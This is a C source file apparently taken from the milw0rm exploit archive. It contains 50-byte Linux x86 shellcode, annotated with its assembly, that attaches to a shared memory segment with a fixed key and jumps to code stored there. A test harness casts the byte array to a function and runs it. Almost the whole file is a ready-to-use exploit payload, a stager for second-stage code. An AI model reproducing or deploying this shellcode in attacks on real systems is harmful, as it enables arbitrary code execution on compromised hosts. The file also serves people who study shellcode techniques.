45 lines
No EOL
1.2 KiB
C
45 lines
No EOL
1.2 KiB
C
/* sloth@nopninjas.com - http://www.nopninjas.com
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Platform: Linux x86
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Length: 50 bytes
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- This shellcode connects to the shared memory segment matching the key
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and executes the code at that address.
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xorl %edi,%edi
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xorl %esi,%esi
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xorl %edx,%edx
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movl $0xdeadbeef,%ecx * shared memory key *
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xorl %ebx,%ebx
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movb $23,%bl
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xorl %eax,%eax
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movb $117,%al
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int $0x80
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xorl %edi,%edi
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movl $0xbffffffa,%esi * pointer storage location *
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xorl %edx,%edx
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movl %eax,%ecx
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xorl %ebx,%ebx
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movb $21,%bl
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xorl %eax,%eax
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movb $117,%al
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int $0x80
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movl $0xbffffffa,%eax * pointer storage location *
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pushl (%eax)
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ret
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*/
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char shm[] = "\x31\xff\x31\xf6\x31\xd2\xb9\xef\xbe\xad\xde\x31\xdb\xb3\x17\x31"
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"\xc0\xb0\x75\xcd\x80\x31\xff\xbe\xfa\xff\xff\xbf\x31\xd2\x89\xc1"
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"\x31\xdb\xb3\x15\x31\xc0\xb0\x75\xcd\x80\xb8\xfa\xff\xff\xbf\xff"
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"\x30\xc3";
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int main() {
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void (*shell)() = (void *)&shm;
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shell();
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}
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// milw0rm.com [2004-09-26]
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